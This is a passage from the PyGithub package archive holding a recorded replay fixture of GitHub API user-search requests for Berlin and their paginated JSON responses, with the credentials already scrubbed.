languages.","created_by":"Torchbox","released":"February 2014","created_at":"2017-01-31T21:34:25Z","updated_at":"2018-03-08T08:16:54Z","featured":true,"curated":true,"score":51.901356}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testPaginateSearchUsers.txt0000644000175100001660000015560414756101563024736 0ustar00runnerdockerhttps GET api.github.com None /search/users?q=location%3ABerlin {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '28'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:3E9B:2DF95ED:5314034D'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '26660'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:21:33 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393820529')] {"total_count":6038,"items":[{"login":"cloudhead","id":40774,"avatar_url":"https://avatars.githubusercontent.com/u/40774","gravatar_id":"a8a0061962c41735ca87789720da46c8","url":"https://api.github.com/users/cloudhead","html_url":"https://github.com/cloudhead","followers_url":"https://api.github.com/users/cloudhead/followers","following_url":"https://api.github.com/users/cloudhead/following{/other_user}","gists_url":"https://api.github.com/users/cloudhead/gists{/gist_id}","starred_url":"https://api.github.com/users/cloudhead/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cloudhead/subscriptions","organizations_url":"https://api.github.com/users/cloudhead/orgs","repos_url":"https://api.github.com/users/cloudhead/repos","events_url":"https://api.github.com/users/cloudhead/events{/privacy}","received_events_url":"https://api.github.com/users/cloudhead/received_events","type":"User","site_admin":false,"score":1.0},{"login":"felixge","id":15000,"avatar_url":"https://avatars.githubusercontent.com/u/15000","gravatar_id":"23968f0ca75b13463d2db5343e5c2096","url":"https://api.github.com/users/felixge","html_url":"https://github.com/felixge","followers_url":"https://api.github.com/users/felixge/followers","following_url":"https://api.github.com/users/felixge/following{/other_user}","gists_url":"https://api.github.com/users/felixge/gists{/gist_id}","starred_url":"https://api.github.com/users/felixge/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/felixge/subscriptions","organizations_url":"https://api.github.com/users/felixge/orgs","repos_url":"https://api.github.com/users/felixge/repos","events_url":"https://api.github.com/users/felixge/events{/privacy}","received_events_url":"https://api.github.com/users/felixge/received_events","type":"User","site_admin":false,"score":1.0},{"login":"sferik","id":10308,"avatar_url":"https://avatars.githubusercontent.com/u/10308","gravatar_id":"1f74b13f1e5c6c69cb5d7fbaabb1e2cb","url":"https://api.github.com/users/sferik","html_url":"https://github.com/sferik","followers_url":"https://api.github.com/users/sferik/followers","following_url":"https://api.github.com/users/sferik/following{/other_user}","gists_url":"https://api.github.com/users/sferik/gists{/gist_id}","starred_url":"https://api.github.com/users/sferik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sferik/subscriptions","organizations_url":"https://api.github.com/users/sferik/orgs","repos_url":"https://api.github.com/users/sferik/repos","events_url":"https://api.github.com/users/sferik/events{/privacy}","received_events_url":"https://api.github.com/users/sferik/received_events","type":"User","site_admin":false,"score":1.0},{"login":"rkh","id":30442,"avatar_url":"https://avatars.githubusercontent.com/u/30442","gravatar_id":"5c2b452f6eea4a6d84c105ebd971d2a4","url":"https://api.github.com/users/rkh","html_url":"https://github.com/rkh","followers_url":"https://api.github.com/users/rkh/followers","following_url":"https://api.github.com/users/rkh/following{/other_user}","gists_url":"https://api.github.com/users/rkh/gists{/gist_id}","starred_url":"https://api.github.com/users/rkh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rkh/subscriptions","organizations_url":"https://api.github.com/users/rkh/orgs","repos_url":"https://api.github.com/users/rkh/repos","events_url":"https://api.github.com/users/rkh/events{/privacy}","received_events_url":"https://api.github.com/users/rkh/received_events","type":"User","site_admin":false,"score":1.0},{"login":"jezdez","id":1610,"avatar_url":"https://avatars.githubusercontent.com/u/1610","gravatar_id":"cf3595fa166bfb4106211e1697f39f94","url":"https://api.github.com/users/jezdez","html_url":"https://github.com/jezdez","followers_url":"https://api.github.com/users/jezdez/followers","following_url":"https://api.github.com/users/jezdez/following{/other_user}","gists_url":"https://api.github.com/users/jezdez/gists{/gist_id}","starred_url":"https://api.github.com/users/jezdez/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jezdez/subscriptions","organizations_url":"https://api.github.com/users/jezdez/orgs","repos_url":"https://api.github.com/users/jezdez/repos","events_url":"https://api.github.com/users/jezdez/events{/privacy}","received_events_url":"https://api.github.com/users/jezdez/received_events","type":"User","site_admin":false,"score":1.0},{"login":"janl","id":11321,"avatar_url":"https://avatars.githubusercontent.com/u/11321","gravatar_id":"2af516fdc33afea661fb3b32c769c9cc","url":"https://api.github.com/users/janl","html_url":"https://github.com/janl","followers_url":"https://api.github.com/users/janl/followers","following_url":"https://api.github.com/users/janl/following{/other_user}","gists_url":"https://api.github.com/users/janl/gists{/gist_id}","starred_url":"https://api.github.com/users/janl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/janl/subscriptions","organizations_url":"https://api.github.com/users/janl/orgs","repos_url":"https://api.github.com/users/janl/repos","events_url":"https://api.github.com/users/janl/events{/privacy}","received_events_url":"https://api.github.com/users/janl/received_events","type":"User","site_admin":false,"score":1.0},{"login":"marijnh","id":144427,"avatar_url":"https://avatars.githubusercontent.com/u/144427","gravatar_id":"f6a35c85d26694e26bb92ea4d4262c77","url":"https://api.github.com/users/marijnh","html_url":"https://github.com/marijnh","followers_url":"https://api.github.com/users/marijnh/followers","following_url":"https://api.github.com/users/marijnh/following{/other_user}","gists_url":"https://api.github.com/users/marijnh/gists{/gist_id}","starred_url":"https://api.github.com/users/marijnh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/marijnh/subscriptions","organizations_url":"https://api.github.com/users/marijnh/orgs","repos_url":"https://api.github.com/users/marijnh/repos","events_url":"https://api.github.com/users/marijnh/events{/privacy}","received_events_url":"https://api.github.com/users/marijnh/received_events","type":"User","site_admin":false,"score":1.0},{"login":"nikic","id":216080,"avatar_url":"https://avatars.githubusercontent.com/u/216080","gravatar_id":"b4ec98df44deb80b1576283152670358","url":"https://api.github.com/users/nikic","html_url":"https://github.com/nikic","followers_url":"https://api.github.com/users/nikic/followers","following_url":"https://api.github.com/users/nikic/following{/other_user}","gists_url":"https://api.github.com/users/nikic/gists{/gist_id}","starred_url":"https://api.github.com/users/nikic/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nikic/subscriptions","organizations_url":"https://api.github.com/users/nikic/orgs","repos_url":"https://api.github.com/users/nikic/repos","events_url":"https://api.github.com/users/nikic/events{/privacy}","received_events_url":"https://api.github.com/users/nikic/received_events","type":"User","site_admin":false,"score":1.0},{"login":"igorw","id":88061,"avatar_url":"https://avatars.githubusercontent.com/u/88061","gravatar_id":"eb42ff31986f5ed1d97580819134d702","url":"https://api.github.com/users/igorw","html_url":"https://github.com/igorw","followers_url":"https://api.github.com/users/igorw/followers","following_url":"https://api.github.com/users/igorw/following{/other_user}","gists_url":"https://api.github.com/users/igorw/gists{/gist_id}","starred_url":"https://api.github.com/users/igorw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/igorw/subscriptions","organizations_url":"https://api.github.com/users/igorw/orgs","repos_url":"https://api.github.com/users/igorw/repos","events_url":"https://api.github.com/users/igorw/events{/privacy}","received_events_url":"https://api.github.com/users/igorw/received_events","type":"User","site_admin":false,"score":1.0},{"login":"froschi","id":155937,"avatar_url":"https://avatars.githubusercontent.com/u/155937","gravatar_id":"858c28ab91c7635d63ccf1a9e0c54b7f","url":"https://api.github.com/users/froschi","html_url":"https://github.com/froschi","followers_url":"https://api.github.com/users/froschi/followers","following_url":"https://api.github.com/users/froschi/following{/other_user}","gists_url":"https://api.github.com/users/froschi/gists{/gist_id}","starred_url":"https://api.github.com/users/froschi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/froschi/subscriptions","organizations_url":"https://api.github.com/users/froschi/orgs","repos_url":"https://api.github.com/users/froschi/repos","events_url":"https://api.github.com/users/froschi/events{/privacy}","received_events_url":"https://api.github.com/users/froschi/received_events","type":"User","site_admin":false,"score":1.0},{"login":"svenfuchs","id":2208,"avatar_url":"https://avatars.githubusercontent.com/u/2208","gravatar_id":"2f042f300d1249917adf6f13d3f698b2","url":"https://api.github.com/users/svenfuchs","html_url":"https://github.com/svenfuchs","followers_url":"https://api.github.com/users/svenfuchs/followers","following_url":"https://api.github.com/users/svenfuchs/following{/other_user}","gists_url":"https://api.github.com/users/svenfuchs/gists{/gist_id}","starred_url":"https://api.github.com/users/svenfuchs/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/svenfuchs/subscriptions","organizations_url":"https://api.github.com/users/svenfuchs/orgs","repos_url":"https://api.github.com/users/svenfuchs/repos","events_url":"https://api.github.com/users/svenfuchs/events{/privacy}","received_events_url":"https://api.github.com/users/svenfuchs/received_events","type":"User","site_admin":false,"score":1.0},{"login":"omz","id":82469,"avatar_url":"https://avatars.githubusercontent.com/u/82469","gravatar_id":"922171743c2bc912e98a423df1d91499","url":"https://api.github.com/users/omz","html_url":"https://github.com/omz","followers_url":"https://api.github.com/users/omz/followers","following_url":"https://api.github.com/users/omz/following{/other_user}","gists_url":"https://api.github.com/users/omz/gists{/gist_id}","starred_url":"https://api.github.com/users/omz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/omz/subscriptions","organizations_url":"https://api.github.com/users/omz/orgs","repos_url":"https://api.github.com/users/omz/repos","events_url":"https://api.github.com/users/omz/events{/privacy}","received_events_url":"https://api.github.com/users/omz/received_events","type":"User","site_admin":false,"score":1.0},{"login":"chad","id":237,"avatar_url":"https://avatars.githubusercontent.com/u/237","gravatar_id":"77f306388bb6ae00ac0b0401e27cdc99","url":"https://api.github.com/users/chad","html_url":"https://github.com/chad","followers_url":"https://api.github.com/users/chad/followers","following_url":"https://api.github.com/users/chad/following{/other_user}","gists_url":"https://api.github.com/users/chad/gists{/gist_id}","starred_url":"https://api.github.com/users/chad/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chad/subscriptions","organizations_url":"https://api.github.com/users/chad/orgs","repos_url":"https://api.github.com/users/chad/repos","events_url":"https://api.github.com/users/chad/events{/privacy}","received_events_url":"https://api.github.com/users/chad/received_events","type":"User","site_admin":false,"score":1.0},{"login":"bergie","id":3346,"avatar_url":"https://avatars.githubusercontent.com/u/3346","gravatar_id":"995f27ce7205a79c55d4e44223cd6de0","url":"https://api.github.com/users/bergie","html_url":"https://github.com/bergie","followers_url":"https://api.github.com/users/bergie/followers","following_url":"https://api.github.com/users/bergie/following{/other_user}","gists_url":"https://api.github.com/users/bergie/gists{/gist_id}","starred_url":"https://api.github.com/users/bergie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bergie/subscriptions","organizations_url":"https://api.github.com/users/bergie/orgs","repos_url":"https://api.github.com/users/bergie/repos","events_url":"https://api.github.com/users/bergie/events{/privacy}","received_events_url":"https://api.github.com/users/bergie/received_events","type":"User","site_admin":false,"score":1.0},{"login":"roidrage","id":5373,"avatar_url":"https://avatars.githubusercontent.com/u/5373","gravatar_id":"4d9dd9bd8d3d4d0ba8af2acc41d14006","url":"https://api.github.com/users/roidrage","html_url":"https://github.com/roidrage","followers_url":"https://api.github.com/users/roidrage/followers","following_url":"https://api.github.com/users/roidrage/following{/other_user}","gists_url":"https://api.github.com/users/roidrage/gists{/gist_id}","starred_url":"https://api.github.com/users/roidrage/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roidrage/subscriptions","organizations_url":"https://api.github.com/users/roidrage/orgs","repos_url":"https://api.github.com/users/roidrage/repos","events_url":"https://api.github.com/users/roidrage/events{/privacy}","received_events_url":"https://api.github.com/users/roidrage/received_events","type":"User","site_admin":false,"score":1.0},{"login":"pcalcado","id":7781,"avatar_url":"https://avatars.githubusercontent.com/u/7781","gravatar_id":"47ebffbfed2c317687211c7745eec80d","url":"https://api.github.com/users/pcalcado","html_url":"https://github.com/pcalcado","followers_url":"https://api.github.com/users/pcalcado/followers","following_url":"https://api.github.com/users/pcalcado/following{/other_user}","gists_url":"https://api.github.com/users/pcalcado/gists{/gist_id}","starred_url":"https://api.github.com/users/pcalcado/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pcalcado/subscriptions","organizations_url":"https://api.github.com/users/pcalcado/orgs","repos_url":"https://api.github.com/users/pcalcado/repos","events_url":"https://api.github.com/users/pcalcado/events{/privacy}","received_events_url":"https://api.github.com/users/pcalcado/received_events","type":"User","site_admin":false,"score":1.0},{"login":"durran","id":9030,"avatar_url":"https://avatars.githubusercontent.com/u/9030","gravatar_id":"6f09262a13427532461b0b618d445b1e","url":"https://api.github.com/users/durran","html_url":"https://github.com/durran","followers_url":"https://api.github.com/users/durran/followers","following_url":"https://api.github.com/users/durran/following{/other_user}","gists_url":"https://api.github.com/users/durran/gists{/gist_id}","starred_url":"https://api.github.com/users/durran/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/durran/subscriptions","organizations_url":"https://api.github.com/users/durran/orgs","repos_url":"https://api.github.com/users/durran/repos","events_url":"https://api.github.com/users/durran/events{/privacy}","received_events_url":"https://api.github.com/users/durran/received_events","type":"User","site_admin":false,"score":1.0},{"login":"hukl","id":25157,"avatar_url":"https://avatars.githubusercontent.com/u/25157","gravatar_id":"0273cfca70ccb1caa0914cfc28e219e9","url":"https://api.github.com/users/hukl","html_url":"https://github.com/hukl","followers_url":"https://api.github.com/users/hukl/followers","following_url":"https://api.github.com/users/hukl/following{/other_user}","gists_url":"https://api.github.com/users/hukl/gists{/gist_id}","starred_url":"https://api.github.com/users/hukl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hukl/subscriptions","organizations_url":"https://api.github.com/users/hukl/orgs","repos_url":"https://api.github.com/users/hukl/repos","events_url":"https://api.github.com/users/hukl/events{/privacy}","received_events_url":"https://api.github.com/users/hukl/received_events","type":"User","site_admin":false,"score":1.0},{"login":"mttkay","id":102802,"avatar_url":"https://avatars.githubusercontent.com/u/102802","gravatar_id":"5cfa38a7e54e6c6a850dc6169a699246","url":"https://api.github.com/users/mttkay","html_url":"https://github.com/mttkay","followers_url":"https://api.github.com/users/mttkay/followers","following_url":"https://api.github.com/users/mttkay/following{/other_user}","gists_url":"https://api.github.com/users/mttkay/gists{/gist_id}","starred_url":"https://api.github.com/users/mttkay/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mttkay/subscriptions","organizations_url":"https://api.github.com/users/mttkay/orgs","repos_url":"https://api.github.com/users/mttkay/repos","events_url":"https://api.github.com/users/mttkay/events{/privacy}","received_events_url":"https://api.github.com/users/mttkay/received_events","type":"User","site_admin":false,"score":1.0},{"login":"aFarkas","id":188254,"avatar_url":"https://avatars.githubusercontent.com/u/188254","gravatar_id":"5c4f4e081b98517cf7c5b21f47d9fe33","url":"https://api.github.com/users/aFarkas","html_url":"https://github.com/aFarkas","followers_url":"https://api.github.com/users/aFarkas/followers","following_url":"https://api.github.com/users/aFarkas/following{/other_user}","gists_url":"https://api.github.com/users/aFarkas/gists{/gist_id}","starred_url":"https://api.github.com/users/aFarkas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/aFarkas/subscriptions","organizations_url":"https://api.github.com/users/aFarkas/orgs","repos_url":"https://api.github.com/users/aFarkas/repos","events_url":"https://api.github.com/users/aFarkas/events{/privacy}","received_events_url":"https://api.github.com/users/aFarkas/received_events","type":"User","site_admin":false,"score":1.0},{"login":"ole","id":5010,"avatar_url":"https://avatars.githubusercontent.com/u/5010","gravatar_id":"d0efc09d023fa0569a2479c9dcfd4620","url":"https://api.github.com/users/ole","html_url":"https://github.com/ole","followers_url":"https://api.github.com/users/ole/followers","following_url":"https://api.github.com/users/ole/following{/other_user}","gists_url":"https://api.github.com/users/ole/gists{/gist_id}","starred_url":"https://api.github.com/users/ole/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ole/subscriptions","organizations_url":"https://api.github.com/users/ole/orgs","repos_url":"https://api.github.com/users/ole/repos","events_url":"https://api.github.com/users/ole/events{/privacy}","received_events_url":"https://api.github.com/users/ole/received_events","type":"User","site_admin":false,"score":1.0},{"login":"hagenburger","id":103399,"avatar_url":"https://avatars.githubusercontent.com/u/103399","gravatar_id":"d72ec8b81ac92d0e58a6b88145c548c2","url":"https://api.github.com/users/hagenburger","html_url":"https://github.com/hagenburger","followers_url":"https://api.github.com/users/hagenburger/followers","following_url":"https://api.github.com/users/hagenburger/following{/other_user}","gists_url":"https://api.github.com/users/hagenburger/gists{/gist_id}","starred_url":"https://api.github.com/users/hagenburger/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hagenburger/subscriptions","organizations_url":"https://api.github.com/users/hagenburger/orgs","repos_url":"https://api.github.com/users/hagenburger/repos","events_url":"https://api.github.com/users/hagenburger/events{/privacy}","received_events_url":"https://api.github.com/users/hagenburger/received_events","type":"User","site_admin":false,"score":1.0},{"login":"jberkel","id":18891,"avatar_url":"https://avatars.githubusercontent.com/u/18891","gravatar_id":"7c02e94043800ebd486cc25963a47b81","url":"https://api.github.com/users/jberkel","html_url":"https://github.com/jberkel","followers_url":"https://api.github.com/users/jberkel/followers","following_url":"https://api.github.com/users/jberkel/following{/other_user}","gists_url":"https://api.github.com/users/jberkel/gists{/gist_id}","starred_url":"https://api.github.com/users/jberkel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jberkel/subscriptions","organizations_url":"https://api.github.com/users/jberkel/orgs","repos_url":"https://api.github.com/users/jberkel/repos","events_url":"https://api.github.com/users/jberkel/events{/privacy}","received_events_url":"https://api.github.com/users/jberkel/received_events","type":"User","site_admin":false,"score":1.0},{"login":"naderman","id":154844,"avatar_url":"https://avatars.githubusercontent.com/u/154844","gravatar_id":"9f580202b05cc640aa9297ab7a1ae764","url":"https://api.github.com/users/naderman","html_url":"https://github.com/naderman","followers_url":"https://api.github.com/users/naderman/followers","following_url":"https://api.github.com/users/naderman/following{/other_user}","gists_url":"https://api.github.com/users/naderman/gists{/gist_id}","starred_url":"https://api.github.com/users/naderman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/naderman/subscriptions","organizations_url":"https://api.github.com/users/naderman/orgs","repos_url":"https://api.github.com/users/naderman/repos","events_url":"https://api.github.com/users/naderman/events{/privacy}","received_events_url":"https://api.github.com/users/naderman/received_events","type":"User","site_admin":false,"score":1.0},{"login":"joshk","id":8701,"avatar_url":"https://avatars.githubusercontent.com/u/8701","gravatar_id":"21b21efe14359ec323f9a70464b91e39","url":"https://api.github.com/users/joshk","html_url":"https://github.com/joshk","followers_url":"https://api.github.com/users/joshk/followers","following_url":"https://api.github.com/users/joshk/following{/other_user}","gists_url":"https://api.github.com/users/joshk/gists{/gist_id}","starred_url":"https://api.github.com/users/joshk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshk/subscriptions","organizations_url":"https://api.github.com/users/joshk/orgs","repos_url":"https://api.github.com/users/joshk/repos","events_url":"https://api.github.com/users/joshk/events{/privacy}","received_events_url":"https://api.github.com/users/joshk/received_events","type":"User","site_admin":false,"score":1.0},{"login":"pudo","id":41628,"avatar_url":"https://avatars.githubusercontent.com/u/41628","gravatar_id":"6d7d4aa2b3f1602705b599cdd5dc72bd","url":"https://api.github.com/users/pudo","html_url":"https://github.com/pudo","followers_url":"https://api.github.com/users/pudo/followers","following_url":"https://api.github.com/users/pudo/following{/other_user}","gists_url":"https://api.github.com/users/pudo/gists{/gist_id}","starred_url":"https://api.github.com/users/pudo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pudo/subscriptions","organizations_url":"https://api.github.com/users/pudo/orgs","repos_url":"https://api.github.com/users/pudo/repos","events_url":"https://api.github.com/users/pudo/events{/privacy}","received_events_url":"https://api.github.com/users/pudo/received_events","type":"User","site_admin":false,"score":1.0},{"login":"robb","id":212465,"avatar_url":"https://avatars.githubusercontent.com/u/212465","gravatar_id":"b00d4ed5d1e6cb9fc840167820247515","url":"https://api.github.com/users/robb","html_url":"https://github.com/robb","followers_url":"https://api.github.com/users/robb/followers","following_url":"https://api.github.com/users/robb/following{/other_user}","gists_url":"https://api.github.com/users/robb/gists{/gist_id}","starred_url":"https://api.github.com/users/robb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/robb/subscriptions","organizations_url":"https://api.github.com/users/robb/orgs","repos_url":"https://api.github.com/users/robb/repos","events_url":"https://api.github.com/users/robb/events{/privacy}","received_events_url":"https://api.github.com/users/robb/received_events","type":"User","site_admin":false,"score":1.0},{"login":"josephwilk","id":9792,"avatar_url":"https://avatars.githubusercontent.com/u/9792","gravatar_id":"3c28deaff162aeda44f2e0bcdca1dacf","url":"https://api.github.com/users/josephwilk","html_url":"https://github.com/josephwilk","followers_url":"https://api.github.com/users/josephwilk/followers","following_url":"https://api.github.com/users/josephwilk/following{/other_user}","gists_url":"https://api.github.com/users/josephwilk/gists{/gist_id}","starred_url":"https://api.github.com/users/josephwilk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/josephwilk/subscriptions","organizations_url":"https://api.github.com/users/josephwilk/orgs","repos_url":"https://api.github.com/users/josephwilk/repos","events_url":"https://api.github.com/users/josephwilk/events{/privacy}","received_events_url":"https://api.github.com/users/josephwilk/received_events","type":"User","site_admin":false,"score":1.0},{"login":"hanshuebner","id":108751,"avatar_url":"https://avatars.githubusercontent.com/u/108751","gravatar_id":"280d76aa82179ae04550534649de1e6e","url":"https://api.github.com/users/hanshuebner","html_url":"https://github.com/hanshuebner","followers_url":"https://api.github.com/users/hanshuebner/followers","following_url":"https://api.github.com/users/hanshuebner/following{/other_user}","gists_url":"https://api.github.com/users/hanshuebner/gists{/gist_id}","starred_url":"https://api.github.com/users/hanshuebner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hanshuebner/subscriptions","organizations_url":"https://api.github.com/users/hanshuebner/orgs","repos_url":"https://api.github.com/users/hanshuebner/repos","events_url":"https://api.github.com/users/hanshuebner/events{/privacy}","received_events_url":"https://api.github.com/users/hanshuebner/received_events","type":"User","site_admin":false,"score":1.0},{"login":"txus","id":83234,"avatar_url":"https://avatars.githubusercontent.com/u/83234","gravatar_id":"3db71281264f6125e764d9f3788301e0","url":"https://api.github.com/users/txus","html_url":"https://github.com/txus","followers_url":"https://api.github.com/users/txus/followers","following_url":"https://api.github.com/users/txus/following{/other_user}","gists_url":"https://api.github.com/users/txus/gists{/gist_id}","starred_url":"https://api.github.com/users/txus/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/txus/subscriptions","organizations_url":"https://api.github.com/users/txus/orgs","repos_url":"https://api.github.com/users/txus/repos","events_url":"https://api.github.com/users/txus/events{/privacy}","received_events_url":"https://api.github.com/users/txus/received_events","type":"User","site_admin":false,"score":1.0}]} https GET api.github.com None /search/users?q=location%3ABerlin&page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '27'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:3E9D:3FD6319:5314034D'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '27211'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:21:34 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393820529')] {"total_count":6038,"items":[{"login":"paulasmuth","id":564023,"avatar_url":"https://avatars.githubusercontent.com/u/564023","gravatar_id":"79f6cb1c222265cabb12781893faaea6","url":"https://api.github.com/users/paulasmuth","html_url":"https://github.com/paulasmuth","followers_url":"https://api.github.com/users/paulasmuth/followers","following_url":"https://api.github.com/users/paulasmuth/following{/other_user}","gists_url":"https://api.github.com/users/paulasmuth/gists{/gist_id}","starred_url":"https://api.github.com/users/paulasmuth/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/paulasmuth/subscriptions","organizations_url":"https://api.github.com/users/paulasmuth/orgs","repos_url":"https://api.github.com/users/paulasmuth/repos","events_url":"https://api.github.com/users/paulasmuth/events{/privacy}","received_events_url":"https://api.github.com/users/paulasmuth/received_events","type":"User","site_admin":false,"score":1.0},{"login":"splitbrain","id":86426,"avatar_url":"https://avatars.githubusercontent.com/u/86426","gravatar_id":"b6b4d7dbe3fb7cf61b68e36cd80f8698","url":"https://api.github.com/users/splitbrain","html_url":"https://github.com/splitbrain","followers_url":"https://api.github.com/users/splitbrain/followers","following_url":"https://api.github.com/users/splitbrain/following{/other_user}","gists_url":"https://api.github.com/users/splitbrain/gists{/gist_id}","starred_url":"https://api.github.com/users/splitbrain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/splitbrain/subscriptions","organizations_url":"https://api.github.com/users/splitbrain/orgs","repos_url":"https://api.github.com/users/splitbrain/repos","events_url":"https://api.github.com/users/splitbrain/events{/privacy}","received_events_url":"https://api.github.com/users/splitbrain/received_events","type":"User","site_admin":false,"score":1.0},{"login":"langalex","id":2173,"avatar_url":"https://avatars.githubusercontent.com/u/2173","gravatar_id":"920993ef8f677cc1be50fde5ce8cb4bb","url":"https://api.github.com/users/langalex","html_url":"https://github.com/langalex","followers_url":"https://api.github.com/users/langalex/followers","following_url":"https://api.github.com/users/langalex/following{/other_user}","gists_url":"https://api.github.com/users/langalex/gists{/gist_id}","starred_url":"https://api.github.com/users/langalex/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/langalex/subscriptions","organizations_url":"https://api.github.com/users/langalex/orgs","repos_url":"https://api.github.com/users/langalex/repos","events_url":"https://api.github.com/users/langalex/events{/privacy}","received_events_url":"https://api.github.com/users/langalex/received_events","type":"User","site_admin":false,"score":1.0},{"login":"bendiken","id":4963,"avatar_url":"https://avatars.githubusercontent.com/u/4963","gravatar_id":"c29341e85441dfee17716b528747ec12","url":"https://api.github.com/users/bendiken","html_url":"https://github.com/bendiken","followers_url":"https://api.github.com/users/bendiken/followers","following_url":"https://api.github.com/users/bendiken/following{/other_user}","gists_url":"https://api.github.com/users/bendiken/gists{/gist_id}","starred_url":"https://api.github.com/users/bendiken/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bendiken/subscriptions","organizations_url":"https://api.github.com/users/bendiken/orgs","repos_url":"https://api.github.com/users/bendiken/repos","events_url":"https://api.github.com/users/bendiken/events{/privacy}","received_events_url":"https://api.github.com/users/bendiken/received_events","type":"User","site_admin":false,"score":1.0},{"login":"stefanw","id":78356,"avatar_url":"https://avatars.githubusercontent.com/u/78356","gravatar_id":"81a78ca8264a3fa56ddb24cc9f57a818","url":"https://api.github.com/users/stefanw","html_url":"https://github.com/stefanw","followers_url":"https://api.github.com/users/stefanw/followers","following_url":"https://api.github.com/users/stefanw/following{/other_user}","gists_url":"https://api.github.com/users/stefanw/gists{/gist_id}","starred_url":"https://api.github.com/users/stefanw/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stefanw/subscriptions","organizations_url":"https://api.github.com/users/stefanw/orgs","repos_url":"https://api.github.com/users/stefanw/repos","events_url":"https://api.github.com/users/stefanw/events{/privacy}","received_events_url":"https://api.github.com/users/stefanw/received_events","type":"User","site_admin":false,"score":1.0},{"login":"timpritlove","id":119680,"avatar_url":"https://avatars.githubusercontent.com/u/119680","gravatar_id":"97391367796db965d19e63b690e72b3d","url":"https://api.github.com/users/timpritlove","html_url":"https://github.com/timpritlove","followers_url":"https://api.github.com/users/timpritlove/followers","following_url":"https://api.github.com/users/timpritlove/following{/other_user}","gists_url":"https://api.github.com/users/timpritlove/gists{/gist_id}","starred_url":"https://api.github.com/users/timpritlove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timpritlove/subscriptions","organizations_url":"https://api.github.com/users/timpritlove/orgs","repos_url":"https://api.github.com/users/timpritlove/repos","events_url":"https://api.github.com/users/timpritlove/events{/privacy}","received_events_url":"https://api.github.com/users/timpritlove/received_events","type":"User","site_admin":false,"score":1.0},{"login":"AndrewRadev","id":124255,"avatar_url":"https://avatars.githubusercontent.com/u/124255","gravatar_id":"fc59401781a26b10f5d4fc5b758fb3b7","url":"https://api.github.com/users/AndrewRadev","html_url":"https://github.com/AndrewRadev","followers_url":"https://api.github.com/users/AndrewRadev/followers","following_url":"https://api.github.com/users/AndrewRadev/following{/other_user}","gists_url":"https://api.github.com/users/AndrewRadev/gists{/gist_id}","starred_url":"https://api.github.com/users/AndrewRadev/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AndrewRadev/subscriptions","organizations_url":"https://api.github.com/users/AndrewRadev/orgs","repos_url":"https://api.github.com/users/AndrewRadev/repos","events_url":"https://api.github.com/users/AndrewRadev/events{/privacy}","received_events_url":"https: